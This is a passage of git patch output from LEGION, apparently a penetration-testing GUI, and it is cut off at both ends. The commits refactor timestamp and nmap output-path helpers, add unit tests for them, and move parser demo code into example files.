log.info('Insufficient permissions to open this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.", "Ok") return @@ -325,7 +325,7 @@ def openExistingProject(self): projectType = 'sparta' self.controller.openExistingProject(filename, projectType) - self.viewState.firstSave = False # overwrite this variable because we are opening an existing file + self.viewState.firstSave = False # overwrite this variable because we are opening an existing file # do not show the overlay because the hosttableview is already populated self.displayAddHostsOverlay(False) else: @@ -490,7 +490,7 @@ def importNmap(self): if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.", "Ok") return @@ -1084,8 +1084,6 @@ def setupToolsTableView(self): def updateToolsTableView(self): if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and \ self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", - "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ToolsTableModel.setDataList( self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = 'noNmap', @@ -1325,10 +1323,9 @@ def setupProcessesTableView(self): self.ProcessesTableModel.sort(15, Qt.DescendingOrder) def updateProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", - "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ProcessesTableModel.setDataList( - self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, + self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, + sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() @@ -1424,7 +1421,7 @@ def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filenam # if restoring tabs (after opening a project) don't show the tab in the ui if restoring == False: - tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) + self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) hosttabs = [] # fetch tab list for this host (if any) if str(ip) in self.viewState.hostTabs: @@ -1549,7 +1546,7 @@ def restoreToolTabsForHost(self, ip): for tab in tabs: # do not display hydra and nmap tabs when restoring for that host if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): - tabindex = self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) + self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) # this function restores the textview widget (now in the tools display widget) to its original tool tab # (under the correct host) From 0a88a4f0efab0ae903e1aceb313c1a0cf7ecbfe5 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sat, 30 Nov 2019 18:07:03 -0500 Subject: [PATCH 313/450] Fix broken time library import in NMap and Python importers --- app/importers/NmapImporter.py | 2 +- app/importers/PythonImporter.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index 262fa191..c60351c6 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -29,7 +29,7 @@ from db.entities.service import serviceObj from db.repositories.HostRepository import HostRepository from parsers.Parser import Parser -from ui.ancillaryDialog import time +from time import time class NmapImporter(QtCore.QThread): diff --git a/app/importers/PythonImporter.py b/app/importers/PythonImporter.py index bf1d9487..53da28d6 100644 --- a/app/importers/PythonImporter.py +++ b/app/importers/PythonImporter.py @@ -19,7 +19,7 @@ from db.entities.host import hostObj from scripts.python import pyShodan -from ui.ancillaryDialog import time +from time import time class PythonImporter(QtCore.QThread): From 67ecb8b9c9fed4b43cb22eb165b1a2ee0a4ab3bc Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Tue, 3 Dec 2019 20:59:29 -0500 Subject: [PATCH 314/450] Simplify nmap path resolution into nmap module - NMap running and output folder paths are simplified into a few functions that can be called from any location - getTimestamp function that is used in multiple places has been refactored into timing.py --- .flake8 | 2 +- app/ProjectManager.py | 3 ++- app/Screenshooter.py | 2 +- app/auxiliary.py | 15 ----------- app/logic.py | 10 ++++--- app/settings.py | 3 +++ app/timing.py | 11 ++++++++ app/tools/nmap/NmapPaths.py | 25 +++++++++++++++++ controller/controller.py | 9 ++++--- db/repositories/ProcessRepository.py | 2 +- tests/app/test_Timing.py | 37 ++++++++++++++++++++++++++ tests/app/tools/nmap/test_NmapPaths.py | 11 ++++++++ ui/dialogs.py | 3 +++ ui/view.py | 3 ++- 14 files changed, 108 insertions(+), 28 deletions(-) create mode 100644 app/tools/nmap/NmapPaths.py create mode 100644 tests/app/test_Timing.py create mode 100644 tests/app/tools/nmap/test_NmapPaths.py diff --git a/.flake8 b/.flake8 index d36ec61b..03146446 100644 --- a/.flake8 +++ b/.flake8 @@ -1,4 +1,4 @@ [flake8] select=E501,F841 -exclude=.git,.idea,tmp,backup +exclude=.git,.idea,tmp,backup,log,images,venv max-line-length: 120 \ No newline at end of file diff --git a/app/ProjectManager.py b/app/ProjectManager.py index 1bfa9820..b3e5a6e4 100644 --- a/app/ProjectManager.py +++ b/app/ProjectManager.py @@ -24,6 +24,7 @@ from app.tools.ToolCoordinator import fileExists from app.auxiliary import Wordlist from app.shell.Shell import Shell +from app.tools.nmap.NmapPaths import getNmapRunningFolder from db.RepositoryFactory import RepositoryFactory from db.database import Database @@ -46,7 +47,7 @@ def createNewProject(self, projectType: str, isTemp: bool) -> Project: runningFolder = self.shell.create_temporary_directory(prefix="legion-", suffix="-running", directory="./tmp/") self.shell.create_directory_recursively(f"{outputFolder}/screenshots") # to store screenshots - self.shell.create_directory_recursively(f"{runningFolder}/nmap") # to store nmap output + self.shell.create_directory_recursively(getNmapRunningFolder(runningFolder)) # to store nmap output self.shell.create_directory_recursively(f"{runningFolder}/hydra") # to store hydra output self.shell.create_directory_recursively(f"{runningFolder}/dnsmap") # to store dnsmap output diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 7b40c38f..f60f7130 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -17,8 +17,8 @@ from PyQt5 import QtCore -from app.auxiliary import getTimestamp from app.http.isHttps import isHttps +from app.timing import getTimestamp class Screenshooter(QtCore.QThread): diff --git a/app/auxiliary.py b/app/auxiliary.py index bbbffdbc..7d0cc818 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -21,13 +21,11 @@ from PyQt5 import QtCore, QtWidgets from PyQt5.QtCore import * # for QProcess from six import u as unicode -from datetime import datetime from app.http.isHttps import isHttps from app.logging.legionLog import log from app.timing import timing from utilities.stenoLogging import * -from time import time # bubble sort algorithm that sorts an array (in place) based on the values in another array # the values in the array must be comparable and in the corresponding positions @@ -53,19 +51,6 @@ def IP2Int(ip): return res -def getTimestamp(human=False, local=False): - t = time() - if human: - if local: - timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S.%f").decode( - locale.getlocale()[1]) - else: - timestamp = datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S.%f") - else: - timestamp = datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S%f') - return timestamp - - # used by the settings dialog when a user cancels and the GUI needs to be reset def clearLayout(layout): if layout is not None: diff --git a/app/logic.py b/app/logic.py index 21bddabb..ba443543 100644 --- a/app/logic.py +++ b/app/logic.py @@ -22,6 +22,7 @@ from app.Project import Project from app.tools.ToolCoordinator import ToolCoordinator from app.shell.Shell import Shell +from app.tools.nmap.NmapPaths import getNmapOutputFolder from db.database import * from ui.ancillaryDialog import * @@ -46,13 +47,14 @@ def setStoreWordlistsOnExit(self, flag=True): self.storeWordlists = flag def copyNmapXMLToOutputFolder(self, file): + outputFolder = self.activeProject.properties.outputFolder try: - path = self.activeProject.properties.outputFolder + "/nmap" + path = getNmapOutputFolder(outputFolder) ntpath.basename(str(file)) - if not os.path.exists(str(path)): - os.makedirs(str(path)) + if not os.path.exists(path): + os.makedirs(path) - shutil.copy(str(file), str(path)) # will overwrite if file already exists + shutil.copy(str(file), path) # will overwrite if file already exists except: log.info('Something went wrong copying the imported XML to the project folder.') log.info("Unexpected error: {0}".format(sys.exc_info()[0])) diff --git a/app/settings.py b/app/settings.py index cb17b493..fcc8f337 100644 --- a/app/settings.py +++ b/app/settings.py @@ -21,6 +21,9 @@ # this class reads and writes application settings +from app.timing import getTimestamp + + class AppSettings(): def __init__(self): # check if settings file exists and creates it if it doesn't diff --git a/app/timing.py b/app/timing.py index 65351b42..2a68c51c 100644 --- a/app/timing.py +++ b/app/timing.py @@ -15,11 +15,17 @@ Author(s): Dmitriy Dubson (d.dubson@gmail.com) """ +from datetime import datetime from functools import wraps from time import time from app.logging.legionLog import log +timestampFormats = { + "HUMAN_FORMAT": "%d %b %Y %H:%M:%S.%f", + "STANDARD_TIMESTAMP": '%Y%m%d%H%M%S%f' +} + def timing(f): @wraps(f) @@ -32,3 +38,8 @@ def wrap(*args, **kw): return result return wrap + + +def getTimestamp(human: bool = False) -> str: + timeFormat = timestampFormats["HUMAN_FORMAT"] if human else timestampFormats["STANDARD_TIMESTAMP"] + return datetime.fromtimestamp(time()).strftime(timeFormat) diff --git a/app/tools/nmap/NmapPaths.py b/app/tools/nmap/NmapPaths.py new file mode 100644 index 00000000..9205e539 --- /dev/null +++ b/app/tools/nmap/NmapPaths.py @@ -0,0 +1,25 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" + + +def getNmapRunningFolder(projectRunningFolder: str) -> str: + return f"{projectRunningFolder}/nmap" + + +def getNmapOutputFolder(projectOutputFolder: str) -> str: + return f"{projectOutputFolder}/nmap" diff --git a/controller/controller.py b/controller/controller.py index 7d91278b..2d859567 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -24,6 +24,7 @@ from app.actions.updateProgress.UpdateProgressObservable import UpdateProgressObservable from app.importers.NmapImporter import NmapImporter from app.importers.PythonImporter import PythonImporter +from app.tools.nmap.NmapPaths import getNmapRunningFolder from ui.observers.QtUpdateProgressObserver import QtUpdateProgressObserver try: @@ -256,19 +257,19 @@ def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scan if runStagedNmap: self.runStagedNmap(targetHosts, runHostDiscovery) elif runHostDiscovery: - outputfile = runningFolder + "/nmap/" + getTimestamp() + '-host-discover' + outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-host-discover' command = f"nmap -n -sV -O --version-light -T{str(nmapSpeed)} {targetHosts} -oA {outputfile}" log.info("Running {command}".format(command=command)) self.runCommand('nmap', 'nmap (discovery)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (discovery)', True)) else: - outputfile = runningFolder + "/nmap/" + getTimestamp() + '-nmap-list' + outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmap-list' command = "nmap -n -sL -T" + str(nmapSpeed) + " " + targetHosts + " -oA " + outputfile self.runCommand('nmap', 'nmap (list)', targetHosts, '', '', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(targetHosts), 'nmap (list)', True)) elif scanMode == 'Hard': - outputfile = runningFolder + "/nmap/" + getTimestamp() + '-nmap-custom' + outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmap-custom' nmapOptionsString = ' '.join(nmapOptions) nmapOptionsString = nmapOptionsString + " -T" + str(nmapSpeed) command = "nmap " + nmapOptionsString + " " + targetHosts + " -oA " + outputfile @@ -754,7 +755,7 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): runningFolder = self.logic.activeProject.properties.runningFolder if not stop: textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage ' + str(stage) + ')', True) - outputfile = runningFolder + "/nmap/" + getTimestamp() + '-nmapstage' + str(stage) + outputfile = getNmapRunningFolder(runningFolder) + "/" + getTimestamp() + '-nmapstage' + str(stage) if stage == 1: # webservers/proxies ports = self.settings.tools_nmap_stage1_ports diff --git a/db/repositories/ProcessRepository.py b/db/repositories/ProcessRepository.py index ac1c7957..54943234 100644 --- a/db/repositories/ProcessRepository.py +++ b/db/repositories/ProcessRepository.py @@ -17,9 +17,9 @@ """ from typing import Union -from app.auxiliary import getTimestamp from six import u as unicode +from app.timing import getTimestamp from db.database import Database from db.entities.process import process from db.entities.processOutput import process_output diff --git a/tests/app/test_Timing.py b/tests/app/test_Timing.py new file mode 100644 index 00000000..48352b10 --- /dev/null +++ b/tests/app/test_Timing.py @@ -0,0 +1,37 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +Author(s): Dmitriy Dubson (d.dubson@gmail.com) +""" +import unittest +from datetime import datetime +from time import time +from unittest.mock import patch + +from app.timing import getTimestamp + + +class TimingTest(unittest.TestCase): + @patch('utilities.stenoLogging.get_logger') + def test_getTimestamp_WhenInvokedWithNoParameters_ReturnsStandardFormattedTimestamp(self, getLogger): + expectedStandardTimestampFormat = "%Y%m%d%H%M%S%f" + currentTime = datetime.fromtimestamp(time()) + self.assertEqual(getTimestamp()[:-3], currentTime.strftime(expectedStandardTimestampFormat)[:-3]) + + @patch('utilities.stenoLogging.get_logger') + def test_getTimestamp_WhenInvokedWithHumanParameter_ReturnsHumanFormattedTimestamp(self, getLogger): + expectedHumanTimestampFormat = "%d %b %Y %H:%M:%S.%f" + currentTime = datetime.fromtimestamp(time()) + self.assertEqual(getTimestamp(human=True)[:-3], currentTime.strftime(expectedHumanTimestampFormat)[:-3]) diff --git a/tests/app/tools/nmap/test_NmapPaths.py b/tests/app/tools/nmap/test_NmapPaths.py new file mode 100644 index 00000000..a86c727d --- /dev/null +++ b/tests/app/tools/nmap/test_NmapPaths.py @@ -0,0 +1,11 @@ +import unittest + +from app.tools.nmap.NmapPaths import getNmapRunningFolder, getNmapOutputFolder + + +class NmapPathsTest(unittest.TestCase): + def test_getNmapRunningFolder_ReturnsProperNmapPathWithinAnActiveProject(self): + self.assertEqual(getNmapRunningFolder("some-folder"), "some-folder/nmap") + + def test_getNmapOutputFolder_ReturnsProperNmapPathWithinAnActiveProject(self): + self.assertEqual(getNmapOutputFolder("some-folder"), "some-folder/nmap") diff --git a/ui/dialogs.py b/ui/dialogs.py index 34e1cc76..1293eee2 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -23,6 +23,9 @@ from app.auxiliary import * # for timestamps from six import u as unicode +from app.timing import getTimestamp + + class BruteWidget(QtWidgets.QWidget): def __init__(self, ip, port, service, settings, parent=None): diff --git a/ui/view.py b/ui/view.py index 226445c2..b6a75fca 100644 --- a/ui/view.py +++ b/ui/view.py @@ -23,6 +23,7 @@ from PyQt5 import QtWidgets, QtGui, QtCore from app.shell.Shell import Shell +from app.timing import getTimestamp from ui.ViewState import ViewState from ui.gui import * from ui.dialogs import * @@ -1646,7 +1647,7 @@ def callHydra(self, bWidget): self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), - 'tcp', unicode(hydraCommand), getTimestamp(True), + 'tcp', unicode(hydraCommand), getTimestamp(human=True), bWidget.outputfile, bWidget.display) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.killBruteProcess(bWidget)) From de17ad531f73923dc0a7552131bf3b53a19cd557 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 20 Oct 2019 12:24:55 -0700 Subject: [PATCH 315/450] Move parser example into examples directory --- .codeclimate.yml | 1 + examples/ParserExample.py | 65 +++++++++++++++++++++++++++++++++++++++ parsers/Parser.py | 53 ------------------------------- 3 files changed, 66 insertions(+), 53 deletions(-) create mode 100644 examples/ParserExample.py diff --git a/.codeclimate.yml b/.codeclimate.yml index dd202ae1..49eaf7e9 100644 --- a/.codeclimate.yml +++ b/.codeclimate.yml @@ -4,6 +4,7 @@ checks: config: threshold: 50 exclude_patterns: + - "examples/" - "debian/" - "deps/" - "scripts/" diff --git a/examples/ParserExample.py b/examples/ParserExample.py new file mode 100644 index 00000000..2cae0bc8 --- /dev/null +++ b/examples/ParserExample.py @@ -0,0 +1,65 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" +from app.auxiliary import log +from parsers.Parser import Parser + +if __name__ == '__main__': + parser = Parser('a-full.xml') + + log.info('\nscan session:') + session = parser.getSession() + log.info("\tstart time:\t" + session.startTime) + log.info("\tstop time:\t" + session.finish_time) + log.info("\tnmap version:\t" + session.nmapVersion) + log.info("\tnmap args:\t" + session.scanArgs) + log.info("\ttotal hosts:\t" + session.totalHosts) + log.info("\tup hosts:\t" + session.upHosts) + log.info("\tdown hosts:\t" + session.downHosts) + + for h in parser.getAllHosts(): + + log.info('host ' + h.ip + ' is ' + h.status) + + for port in h.getPorts('tcp', 'open'): + print(port) + log.info("\t---------------------------------------------------") + log.info("\tservice of tcp port " + port + ":") + s = h.getService('tcp', port) + + if s == None: + log.info("\t\tno service") + + else: + log.info("\t\t" + s.name) + log.info("\t\t" + s.product) + log.info("\t\t" + s.version) + log.info("\t\t" + s.extrainfo) + log.info("\t\t" + s.fingerprint) + + log.info("\tscript output:") + sc = port.getScripts() + + if sc == None: + log.info("\t\tno scripts") + + else: + for scr in sc: + log.info("Script ID: " + scr.scriptId) + log.info("Output: ") + log.info(scr.output) + + log.info("\t---------------------------------------------------") \ No newline at end of file diff --git a/parsers/Parser.py b/parsers/Parser.py index b12b0b60..12c9817e 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -8,14 +8,9 @@ __modified_by = 'ketchup' __modified_by = 'SECFORCE' -import sys -import pprint -import logging import parsers.Session as Session import parsers.Host as Host -import parsers.Script as Script import xml.dom.minidom -from six import u as unicode class Parser: @@ -100,51 +95,3 @@ def getAllIps( self, status = '' ): __tmp_ips.append( __host.ip ) return __tmp_ips - -if __name__ == '__main__': - - parser = Parser( 'a-full.xml' ) - - log.info('\nscan session:') - session = parser.getSession() - log.info("\tstart time:\t" + session.startTime) - log.info("\tstop time:\t" + session.finish_time) - log.info("\tnmap version:\t" + session.nmapVersion) - log.info("\tnmap args:\t" + session.scanArgs) - log.info("\ttotal hosts:\t" + session.totalHosts) - log.info("\tup hosts:\t" + session.upHosts) - log.info("\tdown hosts:\t" + session.downHosts) - - for h in parser.getAllHosts(): - - log.info('host ' +h.ip + ' is ' + h.status) - - for port in h.getPorts( 'tcp', 'open' ): - print(port) - log.info("\t---------------------------------------------------") - log.info("\tservice of tcp port " + port + ":") - s = h.getService( 'tcp', port ) - - if s == None: - log.info("\t\tno service") - - else: - log.info("\t\t" + s.name) - log.info("\t\t" + s.product) - log.info("\t\t" + s.version) - log.info("\t\t" + s.extrainfo) - log.info("\t\t" + s.fingerprint) - - log.info("\tscript output:") - sc = port.getScripts() - - if sc == None: - log.info("\t\tno scripts") - - else: - for scr in sc: - log.info("Script ID: " + scr.scriptId) - log.info("Output: ") - log.info(scr.output) - - log.info("\t---------------------------------------------------") From e5f248ea76d42bbedb2b775d1f9e551cdbd7c455 Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 20 Oct 2019 12:28:17 -0700 Subject: [PATCH 316/450] Move host example into examples directory --- examples/HostExample.py | 57 +++++++++++++++++++++++++++++++++++++++++ parsers/Host.py | 38 --------------------------- 2 files changed, 57 insertions(+), 38 deletions(-) create mode 100644 examples/HostExample.py diff --git a/examples/HostExample.py b/examples/HostExample.py new file mode 100644 index 00000000..f971223d --- /dev/null +++ b/examples/HostExample.py @@ -0,0 +1,57 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + + You should have received a copy of the GNU General Public License along with this program. + If not, see . + +""" +import sys + +import xml + +from app.auxiliary import log +from parsers.Host import Host + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('/tmp/test_pwn01.xml') + hostNodes = dom.getElementsByTagName('host') + + if len(hostNodes) == 0: + sys.exit( ) + + hostNode = dom.getElementsByTagName('host')[0] + + h = Host( hostNode ) + log.info('host status: ' + h.status) + log.info('host ip: ' + h.ip) + + for port in h.getPorts( 'tcp', 'open' ): + log.info(port + " is open") + + log.info("script output:") + for scr in h.getScripts(): + log.info("script id:" + scr.scriptId) + log.info("Output:") + log.info(scr.output) + + log.info("service of tcp port 80:") + s = h.getService( 'tcp', '80' ) + if s is None: + log.info("\tno service") + + else: + log.info("\t" + s.name) + log.info("\t" + s.product) + log.info("\t" + s.version) + log.info("\t" + s.extrainfo) + log.info("\t" + s.fingerprint) \ No newline at end of file diff --git a/parsers/Host.py b/parsers/Host.py index c55ff046..3b8d3787 100644 --- a/parsers/Host.py +++ b/parsers/Host.py @@ -5,13 +5,10 @@ __version__= '0.2' __modified_by = 'ketchup' -import sys -import pprint import parsers.Service as Service import parsers.Script as Script import parsers.OS as OS import parsers.Port as Port -import xml.dom.minidom class Host: ipv4 = '' @@ -116,38 +113,3 @@ def getService( self, protocol, port ): service = Service.Service( service_node ) return service return None - -if __name__ == '__main__': - - dom = xml.dom.minidom.parse('/tmp/test_pwn01.xml') - hostNodes = dom.getElementsByTagName('host') - - if len(hostNodes) == 0: - sys.exit( ) - - hostNode = dom.getElementsByTagName('host')[0] - - h = Host( hostNode ) - log.info('host status: ' + h.status) - log.info('host ip: ' + h.ip) - - for port in h.getPorts( 'tcp', 'open' ): - log.info(port + " is open") - - log.info("script output:") - for scr in h.getScripts(): - log.info("script id:" + scr.scriptId) - log.info("Output:") - log.info(scr.output) - - log.info("service of tcp port 80:") - s = h.getService( 'tcp', '80' ) - if s == None: - log.info("\tno service") - - else: - log.info("\t" + s.name) - log.info("\t" + s.product) - log.info("\t" + s.version) - log.info("\t" + s.extrainfo) - log.info("\t" + s.fingerprint) From d5dba21bdb4ca9a0855a6611ea0d8534a7107d6c Mon Sep 17 00:00:00 2001 From: Dmitriy Dubson Date: Sun, 20 Oct 2019 12:48:18 -0700 Subject: [PATCH 317/450] Move more parser examples into example directory --- .codeclimate.yml | 2 +- parsers/CVE.py | 2 - parsers/OS.py | 26 ------------ parsers/Port.py | 2 - parsers/Script.py | 12 ------ parsers/Service.py | 26 ++---------- parsers/Session.py | 22 ---------- {examples => parsers/examples}/HostExample.py | 0 parsers/examples/OsExample.py | 41 +++++++++++++++++++ .../examples}/ParserExample.py | 0 parsers/examples/ScriptExample.py | 28 +++++++++++++ parsers/examples/ServiceExample.py | 38 +++++++++++++++++ parsers/examples/SessionExample.py | 40 ++++++++++++++++++ parsers/examples/__init__.py | 17 ++++++++ 14 files changed, 168 insertions(+), 88 deletions(-) rename {examples => parsers/examples}/HostExample.py (100%) create mode 100644 parsers/examples/OsExample.py rename {examples => parsers/examples}/ParserExample.py (100%) create mode 100644 parsers/examples/ScriptExample.py create mode 100644 parsers/examples/ServiceExample.py create mode 100644 parsers/examples/SessionExample.py create mode 100644 parsers/examples/__init__.py diff --git a/.codeclimate.yml b/.codeclimate.yml index 49eaf7e9..bc6a78ca 100644 --- a/.codeclimate.yml +++ b/.codeclimate.yml @@ -4,7 +4,7 @@ checks: config: threshold: 50 exclude_patterns: - - "examples/" + - "parsers/examples/" - "debian/" - "deps/" - "scripts/" diff --git a/parsers/CVE.py b/parsers/CVE.py index c4a3833d..e22a238d 100644 --- a/parsers/CVE.py +++ b/parsers/CVE.py @@ -1,7 +1,5 @@ #!/usr/bin/python -import sys -import xml.dom.minidom class CVE: name = '' diff --git a/parsers/OS.py b/parsers/OS.py index fa9b44c6..178f8de6 100644 --- a/parsers/OS.py +++ b/parsers/OS.py @@ -5,8 +5,6 @@ __version__= '0.1' __modified_by = 'ketchup' -import sys -import xml.dom.minidom class OS: name = '' @@ -25,27 +23,3 @@ def __init__(self, OSNode): self.vendor = OSNode.getAttribute('vendor') self.accuracy = OSNode.getAttribute('accuracy') -if __name__ == '__main__': - - dom = xml.dom.minidom.parse('test.xml') - - osclass = dom.getElementsByTagName('osclass')[0] - - osmatch = dom.getElementsByTagName('osmatch')[0] - - - os = OS(osclass) - log.info(os.name) - log.info(os.family) - log.info(os.generation) - log.info(os.osType) - log.info(os.vendor) - log.info(str(os.accuracy)) - - os = OS(osmatch) - log.info(os.name) - log.info(os.family) - log.info(os.generation) - log.info(os.osType) - log.info(os.vendor) - log.info(str(os.accuracy)) diff --git a/parsers/Port.py b/parsers/Port.py index ae8cc120..403b1d15 100644 --- a/parsers/Port.py +++ b/parsers/Port.py @@ -3,8 +3,6 @@ __author__ = 'SECFORCE' __version__= '0.1' -import sys -import xml.dom.minidom import parsers.Service as Service import parsers.Script as Script diff --git a/parsers/Script.py b/parsers/Script.py index 0ee6be7e..c1c4b0c6 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -5,10 +5,7 @@ __version__= '0.1' __modified_by = 'ketchup' -import sys -import xml.dom.minidom import parsers.CVE as CVE -from db.database import * from pyExploitDb import PyExploitDb class Script: @@ -137,12 +134,3 @@ def scriptSelector(self, host): else: print("-----------------------*{0}".format(scriptId)) return results - -if __name__ == '__main__': - - dom = xml.dom.minidom.parse('a-full.xml') - - for scriptNode in dom.getElementsByTagName('script'): - script = Script(scriptNode) - log.info(script.scriptId) - log.info(script.output) diff --git a/parsers/Service.py b/parsers/Service.py index af2e880a..8d0b7469 100644 --- a/parsers/Service.py +++ b/parsers/Service.py @@ -1,12 +1,10 @@ #!/usr/bin/python from app.logging.legionLog import log -__author__ = 'yunshu(wustyunshu@hotmail.com)' -__version__= '0.2' +__author__ = 'yunshu(wustyunshu@hotmail.com)' +__version__ = '0.2' __modified_by = 'ketchup' -import sys -import xml.dom.minidom class Service: extrainfo = '' @@ -15,27 +13,9 @@ class Service: fingerprint = '' version = '' - def __init__( self, ServiceNode ): + def __init__(self, ServiceNode): self.extrainfo = ServiceNode.getAttribute('extrainfo') self.name = ServiceNode.getAttribute('name') self.product = ServiceNode.getAttribute('product') self.fingerprint = ServiceNode.getAttribute('servicefp') self.version = ServiceNode.getAttribute('version') - - -if __name__ == '__main__': - - dom = xml.dom.minidom.parse('i.xml') - - service_nodes = dom.getElementsByTagName('service') - if len(service_nodes) == 0: - sys.exit() - - node = dom.getElementsByTagName('service')[0] - - s = Service( node ) - log.info(s.name) - log.info(s.product) - log.info(s.version) - log.info(s.extrainfo) - log.info(s.fingerprint) diff --git a/parsers/Session.py b/parsers/Session.py index ca7808a0..fe1f3d79 100644 --- a/parsers/Session.py +++ b/parsers/Session.py @@ -4,9 +4,6 @@ __author__ = 'yunshu(wustyunshu@hotmail.com)' __version__= '0.2' -import sys -import xml.dom.minidom - class Session: def __init__( self, SessionHT ): self.startTime = SessionHT.get('startTime', '') @@ -17,22 +14,3 @@ def __init__( self, SessionHT ): self.upHosts = SessionHT.get('upHosts', '') self.downHosts = SessionHT.get('downHosts', '') -if __name__ == '__main__': - - dom = xml.dom.minidom.parse('i.xml') - dom.getElementsByTagName('finished')[0].getAttribute('timestr') - - MySession = { 'finish_time': dom.getElementsByTagName('finished')[0].getAttribute('timestr'), - 'nmapVersion' : '4.79', 'scanArgs' : '-sS -sV -A -T4', - 'startTime' : dom.getElementsByTagName('nmaprun')[0].getAttribute('startstr'), - 'totalHosts' : '1', 'upHosts' : '1', 'downHosts' : '0' } - - s = Session( MySession ) - - log.info('startTime:' + s.startTime) - log.info('finish_time:' + s.finish_time) - log.info('nmapVersion:' + s.nmapVersion) - log.info('nmap_args:' + s.scanArgs) - log.info('total hosts:' + s.totalHosts) - log.info('up hosts:' + s.upHosts) - log.info('down hosts:' + s.downHosts) diff --git a/examples/HostExample.py b/parsers/examples/HostExample.py similarity index 100% rename from examples/HostExample.py rename to parsers/examples/HostExample.py diff --git a/parsers/examples/OsExample.py b/parsers/examples/OsExample.py new file mode 100644 index 00000000..ef904076 --- /dev/null +++ b/parsers/examples/OsExample.py @@ -0,0 +1,41 @@ +""" +LEGION (https://govanguard.io) +Copyright (c) 2018 